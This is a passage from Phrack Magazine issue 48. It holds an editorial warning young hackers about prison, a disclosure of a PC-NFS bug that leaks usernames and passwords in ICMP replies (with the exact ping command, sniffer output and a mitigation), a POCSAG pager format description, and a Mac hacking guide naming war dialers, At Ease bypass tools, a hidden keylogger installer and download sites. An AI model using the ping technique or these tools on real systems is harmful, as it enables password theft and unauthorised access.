‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

for further info contact:

caipirinha@caipirinha.com

http://www.syntheticpleasures.com

first opening dates:

Aug 29 Los Angeles, CA‑ Nuart Theatre

Aug 30 San Francisco, CA‑ Castro Theatre

Aug 30 Berkeley, CA‑ UC Theatre

Aug 30 San Jose, CA‑ Towne Theatre

Aug 30 Palo Alto, CA‑ Aquarius Theatre

Aug 30 Portland, OR‑ Cinema 21

Sept 13 San Diego, CA‑ Ken Theatre

Sept 13 NYC, NY‑ Cinema Village

Sept 13 NYC, NY‑ City Cinemas

Sept 13 Larkspur, CA‑ Larkspur Theatre

Sept 20 Boston, MA‑ Kendall Square Theater

Sept 20 Cleveland, OH‑ Cedar Lee

Sept 20 Philadelphia, PA‑ Ritz

Sept 22 Vorheess, NJ‑ Ritz 12

Sept 27 Austin, TX‑ Dobie Theater

Sept 27 New Haven, CT‑ York Theatre

Sept 27 Pittsburgh,PA‑ Rex

Oct 4 Washington, DC‑ Key Cinema

Oct 11 Providence, RI‑ Avon Theater

Oct 11 Kansas City, MO‑ Tivoli

Oct 11 Baltimore,MD ‑ Charles Theatre

Oct 18 Waterville MA‑ Railroad Square

Oct 18 Durham,NC ‑ Carolina Theater

Oct 18 Raleigh, NC ‑ Colony Theater

Oct 18 Chapel Hill,NC ‑The Chelsea Theatre

Oct 25 Seattle, WA‑ Varsity

Nov 8 Ft Lauderdale FL‑ Fox Sunrise

Nov 15 Gainesville,FL ‑ Plaza Theater

Nov 16 Hanover, NH‑ Dartmouth Theater

Nov 22 Miami, FL‑ Alliance

Nov 25,29,30 Tampa FL ‑ Tampa Theatre

Dec 13 Chicago, IL ‑ Music Box

[ THIS WAS DEFINATELY A SPAM.

I wonder what lovely cgi‑bin holes that WWW site is sporting.

But wait, maybe they just want some k‑rad cyber‑press like

MGM got for the "Hackers" WWW page. Oh man, what a dilemma. To hack, or not to hack. Assholes. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

==Phrack Magazine==

Volume Seven, Issue Forty‑Eight, File 2a of 18

Phrack Editorial

by

Erik Bloodaxe

This may very well be my last Phrack editorial, since I'm no longer going to fill the day‑to‑day role of editor, so I figure I ought to close out my crusade to piss everyone off.

I don't like most of you people. The hacking subculture has become a mockery of its past self. People might argue that the community has "evolved" or "grown" somehow, but that is utter crap. The community has degenerated. It has become a media‑fueled farce. The act of intellectual discovery that hacking once represented has now been replaced by one of greed, self‑aggrandization and misplaced post‑adolescent angst.

DefCon IV epitomized this change in such amazing detail, that I can only hope to find words to describe it adequately. Imagine the bastard offspring of Lollapalooza and a Star Trek convention. Imagine 300+ people out of their homes, and away from Mother's watchful eye for the first time in their pathetic lives. Imagine those same people with the ego of Rush Limbaugh and the social skills of Jeffrey Dahmer, armed with laptops loaded with programs they can't use, and talking at length to reporters about techniques they don't understand. Welcome to DefCon.

If I were to judge the health of the community by the turnout of this conference, my prognosis would be "terminally ill."

It would seem that "hacking" has become the next logical step for many people looking for an outlet to strike back at "something." "Well, gee, I've already pierced every available piece of skin on my body and dyed my hair blue...what on earth can I do now to shock my parents? I know! I'll break some federal laws, and maybe get my name in the paper! THAT WOULD BE COOL! It'll be just like that movie!"

I hate to burst everyone's bubble, but you are so fucked up.

In this day and age, you really don't have to do anything illegal to be a hacker. It is well within the reach of everyone to learn more, and use more powerful computers legally than any of us from the late 70's and early 80's ever dreamed. Way back then, it was ALL about learning how to use these crazy things called computers. There were hundreds of different types of systems, hundreds of different networks, and everyone was starting from ground zero. There were no public means of access; there were no books in stores or library shelves espousing arcane command syntaxes; there were no classes available to the layperson. We were locked out.

Faced with these obstacles, normal, intelligent, law‑abiding adolescents from around the globe found themselves attempting to gain access to these fascinating machines through whatever means possible. There simply was no other way. There were no laws, and yet everyone knew it wasn't strictly kosher behavior. This fact added a cheap rush to the actual break‑in, but the main drive was still simply to learn.

Now, with the majority of operating systems being UNIX‑based, and the majority of networks being TCP/IP‑based the amount of knowledge to be gathered has shrunk considerably. With the incredibly low prices of powerful personal computers, and the free availablity of complex operating systems, the need to break into remote systems in order to learn has been removed. The only possible needs being met by remote intrusions would be a means to gather specific information to be sold, or that base psychological rush from doing something forbidden and getting away with it. Chasing any high only leads to a serious crash, and in the case of breaking into computers, that only leads to jail.

There is absolutely nothing cool about going to jail. I know too many people who are currently in jail, who have been in jail, and some who are on their way to jail. Trust me on this, people. You will not be respected by anyone if you act rashly, do something careless and end up being convicted of several felonies. In fact, all of your "friends," (those who didn't get busted along with you, and turn state's evidence against you) will just think you were a moron for being so sloppy...until they also get nailed.

Get raided and you will almost certainly spend time in jail. Even once you are released, you will lose your passport and your ability to travel freely, you will lose your ability to do business in classified environments, you will become unemployable by most companies, you may even lose your rights to use computer or networking equipment for years. Is is still worth it?

I break into computers for a living, and I love my job. However, I don't kid myself about just how lucky I really am. Don't fool yourselves into thinking that it was easy for me to achieve this, or that anyone else can easily slip into such a role. Staking out a claim in the information security industry is a continual battle for a hacker. Your past will constantly stand in your way, especially if you try to hide it and lie to everyone. (Read the recent Forbes ASAP article and spot the hacker from Garrison Associates lying about his past, although he was raided for running the Scantronics Publications BBS in San Deigo just a few short years ago. Shame on you Kludge.)

I've never lied about anything, so that can't be held over my head. I've never been convicted of anything either, although I came closer to jail than hopefully any of you will ever experience. The ONLY reason I avoided prison was the fact that law enforcement was not prepared to deal with that type of crime. Now, I've taught many of those same law enforcement agencies about the nature of computer crimes. They are all learning and not making the same mistakes any more.

At the same time, the technology to protect against intrusions has increased dramatically. Technology now exists that will not only stop attacks, but identify the attack methodology, the location of the attacker, and take appropriate countermeasures all in real‑time. The company I work for makes it. I've always said that anything that can stop me will stop almost anyone, even through I'm not anywhere close to the world's best. There simply aren't that many things to monitor, once you know what to look for.

The rewards have diminished and the risks have increased.

Hacking is not about crime. You don't need to be a criminal to be a hacker. Hanging out with hackers doen't make you a hacker any more than hanging out in a hospital makes you a doctor. Wearing the t‑shirt doesn't increase your intelligence or social standing. Being cool doesn't mean treating everyone like shit, or pretending that you know more than everyone around you.

Of course, I'm just a bitter old sell‑out living in the past, so what do I know?

Well, what I do know, is that even though I'm one of the few screaming about how fucked up and un‑fun everything has become, I'm not alone in my disgust. There are a bunch of us who have reached the conclusion that the "scene" is not worth supporting; that the cons are not worth attending; that the new influx of would‑be hackers is not worth mentoring. Maybe a lot of us have finally grown up.

In response, expect a great many to suddenly disappear from the cons. We'll be doing our own thing, drinking a few cool drinks someplace warm, and reflecting on the collective pasts we've all drawn from, and how the lack of that developmental stage has ruined the newer generations. So those of us with that shared frame of reference will continue to meet, enjoy each other's company, swap stock tips in the same breath as operating system flaws, and dream about the future of security.

You're probably not invited.

Line Noise (Part I)

==Phrack Magazine==

Volume Seven, Issue Forty‑Eight, File 3 of 18

// // /\

// // //\\

==== // // \\

/\ // // \\ /

//\\ // // // //

// \\/ \\ // //

Part I

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PC‑NFS Bug

I have found a nice little security hole in PC‑NFS version 5.x. If you ping a PC‑NFS user with a packet size of between 1450 to 1480, the PC's ICMP reply packet will divulge:

o The hostname of the PC

o The hostname of the PC's authentication server

o The username of the person logged in

o The password for the user (Thank you very much!)

All of this information is in clear text unless PC‑NFS's NETLOGIN is used. NETLOGIN uses XOR as its encryption, so this is hardly secure either.

NDIS, ODI, 3C503 drivers on SMC and 3C503 cards have been tested and all freely return the above information on both PC‑NFS versions 5.0 and 5.1a. This should work with other driver/NIC configurations also.

You get the occasional added bonus of locking up the victims PC as well!

This bug was new to Sun and they have created a new PCNFS.SYS driver for us. They have labeled it PC‑NFS.SYS version 5.1a.DOD. This new version fills reply ICMP packets with nulls after 200 bytes of the requested pattern.

Until you receive this patch from Sun, I would recommend setting all external router interface MTU to a value of no greater than 1350 as this is point where secrets are contained in the return packet.

The Unix command to generate the below results is as follows:

ping ‑s ‑c1 pchost.victim.com 1480

Use your favorite sniffer to filter ICMP packets and you have it. If you don't have a sniffer, try the ‑v(erbose) option of ping and convert the hex to ascii starting around byte 1382.

Sniffer output follows:

19:03:48.81

ip: evil.com‑>pchost.victim.com

icmp: echo request

62: 024 025 026 027 030 031 032 033 034 035

72: 036 037 ! " # $ % & '

82: ( ) * + , ‑ . / 0 1

92: 2 3 4 5 6 7 8 9 : ;

102: < = > ? @ A B C D E

112: F G H I J K L M N O

122: P Q R S T U V W X Y

132: Z [ \ ] ^ _ ` a b c

142: d e f g h i j k l m

152: n o p q r s t u v w

162: x y z { | } ~ 177 200 201

172: 202 203 204 205 206 207 210 211 212 213

182: 214 215 216 217 220 221 222 223 224 225

192: 226 227 230 231 232 233 234 235 236 237

202: 240 241 242 243 244 245 246 247 250 251

212: 252 253 254 255 256 257 260 261 262 263

222: 264 265 266 267 270 271 272 273 274 275

232: 276 277 300 301 302 303 304 305 306 307

242: 310 311 312 313 314 315 316 317 320 321

252: 322 323 324 325 326 327 330 331 332 333

262: 334 335 336 337 340 341 342 343 344 345

272: 346 347 350 351 352 353 354 355 356 357

282: 360 361 362 363 364 365 366 367 370 371

292: 372 373 374 375 376 377 000 001 002 003

302: 004 005 006 007 010 011 012 013 014 015

312: 016 017 020 021 022 023 024 025 026 027

322: 030 031 032 033 034 035 036 037 !

332: " # $ % & ' ( ) *

342: , ‑ . / 0 1 2 3 4 5

352: 6 7 8 9 : ; < = > ?

362: @ A B C D E F G H I

372: J K L M N O P Q R S

382: T U V W X Y Z [ \ ]

392: ^ _ ` a b c d e f g

402: h i j k l m n o p q

412: r s t u v w x y z {

422: | } ~ 177 200 201 202 203 204 205

432: 206 207 210 211 212 213 214 215 216 217

442: 220 221 222 223 224 225 226 227 230 231

452: 232 233 234 235 236 237 240 241 242 243

462: 244 245 246 247 250 251 252 253 254 255

472: 256 257 260 261 262 263 264 265 266 267

482: 270 271 272 273 274 275 276 277 300 301

492: 302 303 304 305 306 307 310 311 312 313

502: 314 315 316 317 320 321 322 323 324 325

512: 326 327 330 331 332 333 334 335 336 337

522: 340 341 342 343 344 345 346 347 350 351

532: 352 353 354 355 356 357 360 361 362 363

542: 364 365 366 367 370 371 372 373 374 375

552: 376 377 000 001 002 003 004 005 006 007

562: 010 011 012 013 014 015 016 017 020 021

572: 022 023 024 025 026 027 030 031 032 033

582: 034 035 036 037 ! " # $ %

592: & ' ( ) * + , ‑ .

602: 0 1 2 3 4 5 6 7 8 9

612: : ; < = > ? @ A B C

622: D E F G H I J K L M

632: N O P Q R S T U V W

642: X Y Z [ \ ] ^ _ ` a

652: b c d e f g h i j k

662: l m n o p q r s t u

672: v w x y z { | } ~ 177

682: 200 201 202 203 204 205 206 207 210 211

692: 212 213 214 215 216 217 220 221 222 223

702: 224 225 226 227 230 231 232 233 234 235

712: 236 237 240 241 242 243 244 245 246 247

722: 250 251 252 253 254 255 256 257 260 261

732: 262 263 264 265 266 267 270 271 272 273

742: 274 275 276 277 300 301 302 303 304 305

752: 306 307 310 311 312 313 314 315 316 317

762: 320 321 322 323 324 325 326 327 330 331

772: 332 333 334 335 336 337 340 341 342 343

782: 344 345 346 347 350 351 352 353 354 355

792: 356 357 360 361 362 363 364 365 366 367

802: 370 371 372 373 374 375 376 377 000 001

812: 002 003 004 005 006 007 010 011 012 013

822: 014 015 016 017 020 021 022 023 024 025

832: 026 027 030 031 032 033 034 035 036 037

842: ! " # $ % & ' (

852: * + , ‑ . / 0 1 2 3

862: 4 5 6 7 8 9 : ; < =

872: > ? @ A B C D E F G

882: H I J K L M N O P Q

892: R S T U V W X Y Z [

902: \ ] ^ _ ` a b c d e

912: f g h i j k l m n o

922: p q r s t u v w x y

932: z { | } ~ 177 200 201 202 203

942: 204 205 206 207 210 211 212 213 214 215

952: 216 217 220 221 222 223 224 225 226 227

962: 230 231 232 233 234 235 236 237 240 241

972: 242 243 244 245 246 247 250 251 252 253

982: 254 255 256 257 260 261 262 263 264 265

992: 266 267 270 271 272 273 274 275 276 277 1002: 300 301 302 303 304 305 306 307 310 311 1012: 312 313 314 315 316 317 320 321 322 323 1022: 324 325 326 327 330 331 332 333 334 335 1032: 336 337 340 341 342 343 344 345 346 347 1042: 350 351 352 353 354 355 356 357 360 361 1052: 362 363 364 365 366 367 370 371 372 373 1062: 374 375 376 377 000 001 002 003 004 005 1072: 006 007 010 011 012 013 014 015 016 017 1082: 020 021 022 023 024 025 026 027 030 031 1092: 032 033 034 035 036 037 ! " #

1102: $ % & ' ( ) * + ,

1112: . / 0 1 2 3 4 5 6 7

1122: 8 9 : ; < = > ? @ A

1132: B C D E F G H I J K 1142: L M N O P Q R S T U 1152: V W X Y Z [ \ ] ^ _ 1162: ` a b c d e f g h i 1172: j k l m n o p q r s 1182: t u v w x y z { | } 1192: ~ 177 200 201 202 203 204 205 206 207 1202: 210 211 212 213 214 215 216 217 220 221 1212: 222 223 224 225 226 227 230 231 232 233 1222: 234 235 236 237 240 241 242 243 244 245 1232: 246 247 250 251 252 253 254 255 256 257 1242: 260 261 262 263 264 265 266 267 270 271 1252: 272 273 274 275 276 277 300 301 302 303 1262: 304 305 306 307 310 311 312 313 314 315 1272: 316 317 320 321 322 323 324 325 326 327 1282: 330 331 332 333 334 335 336 337 340 341 1292: 342 343 344 345 346 347 350 351 352 353 1302: 354 355 356 357 360 361 362 363 364 365 1312: 366 367 370 371 372 373 374 375 376 377 1322: 000 001 002 003 004 005 006 007 010 011 1332: 012 013 014 015 016 017 020 021 022 023 1342: 024 025 026 027 030 031 032 033 034 035

1352: 036 037 ! " # $ % & '

1362: ( ) * + , ‑ . / 0 1

1372: 2 3 4 5 6 7 8 9 : ; 1382: < = > ? @ A B C D E 1392: F G H I J K L M N O 1402: P Q R S T U V W X Y 1412: Z [ \ ] ^ _ ` a b c 1422: d e f g h i j k l m 1432: n o p q r s t u v w 1442: x y z { | } ~ 177 200 201 1452: 202 203 204 205 206 207 210 211 212 213 1462: 214 215 216 217 220 221 222 223 224 225 1472: 226 227 230 231 232 233 234 235 236 237 1482: 240 241 242 243 244 245 246 247 250 251

19:03:48.85

ip: pchost.victim.com‑>evil

icmp: echo reply

62: 024 025 026 027 030 031 032 033 034 035

72: 036 037 ! " # $ % & '

82: ( ) * + , ‑ . / 0 1

92: 2 3 4 5 6 7 8 9 : ;

102: < = > ? @ A B C D E

112: F G H I J K L M N O

122: P Q R S T U V W X Y

132: Z [ \ ] ^ _ ` a b c

142: d e f g h i j k l m

152: n o p q r s t u v w

162: x y z { | } ~ 177 200 201

172: 202 203 204 205 206 207 210 211 212 213

182: 214 215 216 217 220 221 222 223 224 225

192: 226 227 230 231 232 233 234 235 236 237

202: 240 241 242 243 244 245 246 247 250 251

212: 252 253 254 255 256 257 260 261 262 263

222: 264 265 266 267 270 271 272 273 274 275

232: 276 277 300 301 302 303 304 305 306 307

242: 310 311 312 313 314 315 316 317 320 321

252: 322 323 324 325 000 000 324 005 ^ $

262: : 004 000 000 000 000 000 000 000 000

272: 036 006 W V P S Q R 016 007

282: 277 ^ $ 213 367 350 X p r c

292: 212 E " < 000 u 005 350 V 003

302: 353 W < 005 u 005 350 W 002 353

312: N < 010 u 007 306 006 325 # 001

322: 353 H < 015 u 007 306 006 325 #

332: 001 353 = < 017 u 007 306 006 325

342: # 001 353 2 < 022 u 005 350 021

352: 002 353 $ < 003 u 005 350 9 003

362: 353 033 < 022 w 017 2 344 213 360

372: 212 204 300 # P 350 225 305 X 353

382: 010 P 270 c 000 350 213 305 X 306

392: 006 205 347 000 Z Y [ X ^ _

402: 007 037 313 P S Q R U 036 006

412: W V 214 310 216 330 216 300 306 006

422: 325 # 000 373 277 ^ $ 273 A 347

432: 271 006 000 215 6 d $ 212 004 210

442: 005 212 007 210 004 F G C 342 363

452: 241 x $ 243 | $ 241 z $ 243

462: ~ $ 241 324 ) 243 x $ 241 326

472: ) 243 z $ 277 ^ $ 212 E "

482: < 010 u 015 P 270 ` 000 350 $

492: 305 X 350 275 001 353 022 < 015 u

502: 012 P 270 a 000 350 023 305 X 353

512: 004 < 017 u 003 350 017 000 306 006

522: 205 347 000 ^ _ 007 037 ] Z Y

532: [ X 303 P 270 < 000 350 363 304

542: X 307 E $ 000 000 215 u " 213

552: M 020 206 351 203 351 024 367 301 001

562: 000 t 006 213 331 306 000 000 A 321

572: 371 350 , o 211 ] $ 307 E 030

582: 000 000 215 u 016 271 012 000 350 033

592: o 211 ] 030 213 E 020 206 340 005

602: 016 000 243 ` % 211 > b % 214

612: 016 d % 277 ^ % . 376 006 ?

622: 020 350 9 276 . 376 016 ? 020 303

632: & 213 E 002 013 300 t 020 243 326

642: # & 213 ] 004 211 036 330 # 350

652: 231 m 353 0 200 > 324 ) 000 t

662: 033 & 203 } 006 000 t 024 203 >

672: 326 # 000 u 015 350 031 000 203 >

682: 326 # 000 t 003 350 u m 241 326

692: # & 211 E 002 241 330 # & 211

702: E 004 303 & 213 M 006 006 V W

712: 016 007 272 000 000 277 334 # 350 $

722: 000 241 323 # 243 350 X 203 > 326

732: # 000 u 023 366 006 343 015 001 u

742: 014 203 > 350 X 000 u 353 272 001

752: 000 342 332 _ ^ 007 303 Q R W

762: 203 372 000 u 021 203 > 030 214 000

772: t 012 276 004 214 271 003 000 363 245

782: 353 010 270 377 377 271 003 000 363 253

792: 276 A 347 271 003 000 363 245 _ 270

802: 377 377 211 E 036 211 E 241 324

812: ) 211 E 032 241 326 ) 211 E 034

822: 270 000 206 340 211 E 020 306 E

832: 016 E 306 E 017 000 307 E 022 000

842: 000 307 E 024 000 000 306 E 026 002

852: 306 E 027 001 307 E 014 010 000 3

862: 300 306 E " 021 210 E # 211 E

872: & 211 E ( 350 250 376 Z Y 303

882: 200 > 326 # 000 u 014 213 E *

892: 243 326 # 213 E , 243 330 # P

902: 270 V 000 350 205 303 X 303 P S

912: Q R 213 E : 213 ] < 213 M

922: & 213 U ( 350 223 k Z Y [

932: X P 270 \ 000 350 e 303 X 303

942: 306 E " 000 P 270 X 000 350 X

952: 303 X 303 & 213 E 002 & 213 ]

962: 004 & 213 U 006 006 W 016 007 350

972: Y i s 003 351 227 000 277 334 #

982: W 271 003 000 363 245 276 A 347 271

992: 003 000 363 245 _ 211 E 036 211 ] 1002: 241 324 ) 211 E 032 241 326 ) 1012: 211 E 034 270 000 206 340 211 E 1022: 020 306 E 016 E 306 E 017 000 307 1032: E 022 000 000 307 E 024 000 000 306 1042: E 026 377 306 E 027 001 307 E 014 1052: 010 000 3 300 306 E " 010 210 E 1062: # 211 E & 377 006 h % 241 h 1072: % 211 E ( 211 026 350 X 211 026 1082: l % 307 006 j % 000 000 350 322 1092: 375 203 > 350 X 000 t # 366 006 1102: 343 015 001 u ! 203 > j % 000 1112: t 353 203 > j % 001 u 011 241 1122: l % + 006 350 X 353 015 270 375 1132: 377 353 010 270 376 377 353 003 270 377 1142: 377 307 006 l % 000 000 _ 007 & 1152: 211 E 010 303 P 270 ^ 000 350 206 1162: 302 X 203 > l % 000 t 017 213 1172: ] ( ; 036 h % u 006 307 006 1182: j % 001 000 303 P 270 ; 000 350 1192: g 302 X 203 > l % 000 t 006 1202: 307 006 j % 002 000 303 000 000 000 1212: 000 000 000 000 000 000 000 000 000 000 1222: 000 000 000 000 000 000 000 000 000 000 1232: 000 000 000 000 000 000 000 000 000 000 1242: 000 000 000 000 000 000 000 000 002 000 1252: 000 000 300 A 000 000 034 000 000 000 1262: 200 000 000 000 k 000 000 000 000 016 1272: 000 000 000 000 000 000 000 000 000 1282: 010 000 000 000 252 001 000 000 010 5 1292: 000 000 r 027 301 . 000 000 000 000 1302: 036 F 300 . 000 000 000 000 036 F 1312: 300 . 000 000 000 000 000 000 000 000 1322: 000 000 000 000 000 000 000 000 000 000 1332: 000 000 000 000 000 000 000 000 000 000 1342: 000 000 000 000 000 000 000 000 000

1352: 000 000 000 002 000 000 200 366 = 000 1362: { 255 023 000 242 265 015 000 002 000 1372: 000 000 S 017 005 000 C 003 000 000 1382: p c h o s t 000 000 000 000 1392: 000 000 000 000 000 000 244 A @ 1402: s e r v e r 1 000 000 000 1412: 000 000 000 000 000 000 244 A @ 001 1422: 000 000 000 000 000 000 000 000 000 000 1432: 000 000 000 000 000 000 244 A @ 001 1442: u s e r n a m e 000 000 1452: p a s s w d 000 000 000 000 1462: 000 000 000 000 000 000 000 000 000 000 1472: 000 000 000 000 000 000 000 000 000 000 1482: 000 000 200 000 k 000 260 271 377 377 1492: 344 275 9 212

The names have been changed to protect the innocent, but the rest is actual.

Byte 1382: PC's hostname

Byte 1402: PC's Authentication server hostname

Byte 1382: The user's account name. Shows nobody if logged out. Byte 1382: The user's password.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

POCSAG paging format, code and code capacity

The POCSAG (Post Office Code Standardization Advisory Group) code is a synchronous paging format that allows pages to be transmitted in a SINGLE‑BATCH structure. The POCSAG codes provides improved battery‑saving capability and an increased code capacity.

The POCSAG code format consists of a preamble and one or more batches of codewords. Each batch comprises a 32‑bit frame synchronization code and eight 64‑bit address frames of two 32‑bit addresses or idle codewords each. The frame synchronization code marks the start of the batch of codewords.

‑PREAMBLE STRUCTURE

The preamble consists of 576 bits of an alternating 101010 pattern transmitted at a bit rate of 512 or 1200 bps. The decoder uses the preamble both to determine if the data received is a POCSAG signal and for synchronization with the stream of data.

|‑‑‑Preamble‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑First Batch‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑Subsec. Batch‑‑|

________________________________

paging | 576 bits of | | | | | | | | | | |

format | reversals |F| | | | | | | | | | | | | | | | |F| |

| (101010, etc) |S| | | | | | | | | | | | | | | | |S| |

|_______________|_|_|_|_|_|_|_|_|

> >

1 FRAME = 2 CODEWORDS

PreambleBatchs

512 BPS1125 mS1062.5 mS

1200 BPS 480 mS 453.3 mS

CodeWords Structure

________________________________

BIT | | | |

NUMBER | 1 | 2 to 19 | 20,21 | 22 to 31 | 32 |

|___|______________|_______|_____

________________________________

ADDRESS| | | |

FORMAT | 0 | Address Bits | S I B | Parity Check Bits | Even parity |

|___|______________|_______|_____

^

Source identifier bits

_______________________________________

MESSAGE| | |

FORMAT | 1 | Message Bits | Parity Check Bits | Even parity |

|___|______________________|_____

‑BATCH STRUCTURE

A batch consist of frame synchronization code follow by 8 frames of two address codewords per frame (16 address codewords per batch). In order to maintain the proper batch structure, each frame is filled with two address codewords, or two idle codewords, or two message codewords, or any appropriate combination of the three codewords types.

‑FRAME SYNCHRONIZATION CODE STRUCTURE

The frame synchronization (FS) code is a unique, reserved word that is used to identify the beginning of each batch. The FS code comprises the 32 bits:

011111100110100100001010111011000.

‑OPTIONAL ALTERNATE FRAME SYNCHRONIZATION CODEWORDS

An alternate frame synchronization (AFS) code can be selected to support special systems or systems that require increased coding capability. The AFS is generated in the same manner as an address codeword (i.e., BCH codeword with parity bits). The POCSAG signaling standard has reserved special codewords for the AFS from 2,000,000 to 2,097,151. The use of the AFS requires the paging system to support the AFS. The AFS will change to frame 0 on the programmer since no frame information is included in the AFS. The AFS should use address 1 so that bit 20 and 21 are 0.

‑ADDRESS CODEWORD STRUCTURE

An address codeword's first bit (bit 1) is always a zero. Bits 2 through 19 are the address bits. The pagers looks at these bits to find its own unique address. Each POCSAG codeword is capable of providing address information for four different paging sources (Address 1 to 4). These address are determined by combinations of values of bits 20 and 21 ( the source‑identifier bits). Bits 22 through 31 are the parity check bits, and bit 32 is the even parity bit.

BIT 20 BIT 21

Address 1 0 0

Address 2 0 1

Address 3 1 0

Address 4 1 1

Pre‑coded into the code plug are three bits which designate the frame location, within each batch, at which the pager's address is to be received; the decoder will look at the codewords in this frame for its address.

Power is removed from the receiver during all frames other than the precoded one, thus extending pager battery life.

‑CODE CAPACITY

The combination of the code plug's three pre‑coded frame location bits and address codeword's 18 address bits provides over two million different assignable codes. In this combination, the frame location bits are the least‑significant bits, and the addres s

bits are the most‑significant bits.

‑MESSAGE CODEWORD STRUCTURE

A message codeword structure always start with a 1 in bit 1 and always follows directly after the address. Each message codeword replaces an address codeword in the batch.

‑IDLE CODEWORD STRUCTURE

The idle codeword is unique, reserved codeword used to talk place of an address in any frame that would not otherwise be filled with 64 bits. Thus, if a frame contains only an address, an idle codeword comprises the 32 bits:

01111010100010011100000110010111

‑POCSAG CHARACTERS

CHARHEX|CHARHEX|CHARHEX|

|||

#23|$24|@40|

[5B|\5C|]5D|

^5E|_5F|'60|

{7B||7C|}7D|

~ 7E|DEL7F|SP20|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MACINTOSH HACKING

by Logik Bomb

"My fellow astronauts..."

‑Dan Quayle

Now, two people have mailed Erik Bloodaxe asking about Macintosh hacking particularly war dialers, and each time he insulted Macs and tried to get someone to write a file on it. No one has done it. So I guess I have to.

First, some words on Macintoshes. Steve Jobs and Steve Wozniak, the originators of the Apple and the Macintosh were busted for phreaking in college. The Apple IIe was used almost universally by hackers. So why has the Mac fallen out of favor for hacking? Simple. Because it fell out of favor for everything else. Apple screwed up and wouldn't let clone makers license the MacOS. As a result, 80% of personal computers run DOS, and Macintoshes are left in the minority. Second, DOS compatible users, and hackers in particular, have an image of Mac users as a bunch of whiny lamers who paid too much for a computer and as a result are constantly defensive. The solution to this impression is to not be an asshole. I know it drives every Mac user crazy when he reads some article about Windows 95's brand new, advanced features such as "plug‑and‑play" that the Macintosh has had since 1984. But just try and take it. If it's any consolation, a lot of IBM‑compatible (a huge misnomer, by the way) users hate Windows too.

Now, on with the software.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Assault Dialer 1.5

Assault Dialer, by Crush Commando, is the premier Mac war dialer, the Mac's answer to ToneLoc. It has an ugly interface, but it's the best we have right now. It is the successor to a previous war dialer known as Holy War Dialer 2.0. The only real competitor I've heard of for Assault Dialer is Tyrxis Shockwave 2.0, but the only version I could get a hold of was 1.0, and it wasn't as good as Assault Dialer, so that's your best bet right now.

MacPGP 2.6.2 and PGPfone 1.0b4

MacPGP is the Macintosh port of the infamous PGP (Pretty Good Privacy.) This file is not about cryptography, so if you want to know about PGP read the fuckin' read me and docs that come with the file. Strangely enough, however, Phil Zimmerman released PGPfone, a utility for encrypting your phone and making it a secure line, for the Mac _first._ I don't know why, and I haven't had a chance to test it, but the idea's pretty cool. If PGP doesn't get Zimmerman thrown in jail, this will.

DisEase 1.0 and DisEase 3.0

Schools and concerned parents have always had a problem. Schools can't have students deleting the hard drive, and parents don't want their kids looking at the kinky pictures they downloaded. So Apple came out with At Ease, an operating system that runs over System 7, sort of the same way Windows runs off of DOS. However, I can't stand At Ease. Everything about it, from the Fisher‑Price screen to the interface drives me crazy. It drives a lot of other people crazy too. So it was just a matter of time before someone made a program to override it. The first was DisEase 1.0, a small program by someone calling himself Omletman, that would override At Ease if you put in a floppy loaded with it and clicked six times. Omletman improved this design and eventually released 3.0. (I haven't been able to find any evidence that a 2.0 was ever released) 3.0 has such cool features as reading the preferences file to give you the password, so you can change the obnoxious greeting teachers always put to something more sinister. The only problem with 3.0 is that some configurations of At Ease only let documents be read off of disks; no applications, which means DisEase 3.0 won't appear, and so you can't run it. However, with 1.0 you don't have to actually open the application, you just click six times, so if you use 1.0 to get to the finder, and then 3.0 to read the passwords, things will work.

Invisible Oasis Installer

Oasis is a keystroke recorder, so you can find out passwords. However, with the original Oasis, you had to put it in the Extensions folder and make it invisible with ResEdit, which takes a while. Invisible Oasis Installer, however, installs it where it should be and automatically makes it invisible.

"So everything's wrapped up in a nice neat little _package_, then?" ‑Homer Simpson

Anonymity 2.0 and Repersonalize 1.0

Anonymity, version 1.2, was a rather old program whose author has long been forgotten that was the best data fork alterer available. It removed the personalization to programs. However, in around 1990 someone named the Doctor made 2.0, a version with some improvements. Repersonalize was made in 1988 (God, Mac hacking programs are old) which reset personalization on some of the Microsoft and Claris programs, so you could enter a different personalization name. I don't know if it will still work on Microsoft Word 6.0.1 and versions of programs released recently, but I don't really care because I use Word 5.1a and I'm probably not going to upgrade for a while.

Phoney (AKA Phoney4Mac)

Phoney is an excellent program that emulates the Blue Box, Red Box, Black Box and Green Box tones. There is also Phoney4Newton, which does the same thing on the most portable of computers, the Newton.

That's all I'm covering in this file as far as Mac hacking programs. You'll probably want to know where to find all this crap, so here are all of the Mac hacking ftp and Web sites I know of:

Space Rogue's Whacked Mac Archives (http://l0pht.com/~spacerog/index.html)

This site, run by Space Rogue is L0pht Heavy Industries' Mac site. It is probably the largest and best archive of Mac hacking software connected to the Internet. The problem with this is that it can't handle more than two anonymous users, meaning that unless you pay to be part of L0pht, you will never get into this archive. I've tried getting up at 4:30 AM, thinking that no one in their right mind would possibly be awake at this time, but there is always, somehow, somewhere, two people in Iceland or Singapore or somewhere on this site.

The Mac Hacking Home Page (http://www.aloha.com/~seanw/index.html)

This site does not look like much, and it is fairly obvious that its maintainer, Sean Warren, is still learning HTML, but it is reliable and is a good archive. It is still growing, probably due to the fact that it is one of the only Internet Mac hacking sites anyone can get to and upload. Kn0wledge Phreak <k0p> (http://www.uccs.edu/~abusby/k0p.html)

This is an excellent site and has many good programs. There is one catch, however. It's maintainer, Ole Buzzard, is actually getting the files from his BBS. So many of the really good files are locked away in the k0p BBS, and those of us who can't pay long distance can't get the files. Oh well.

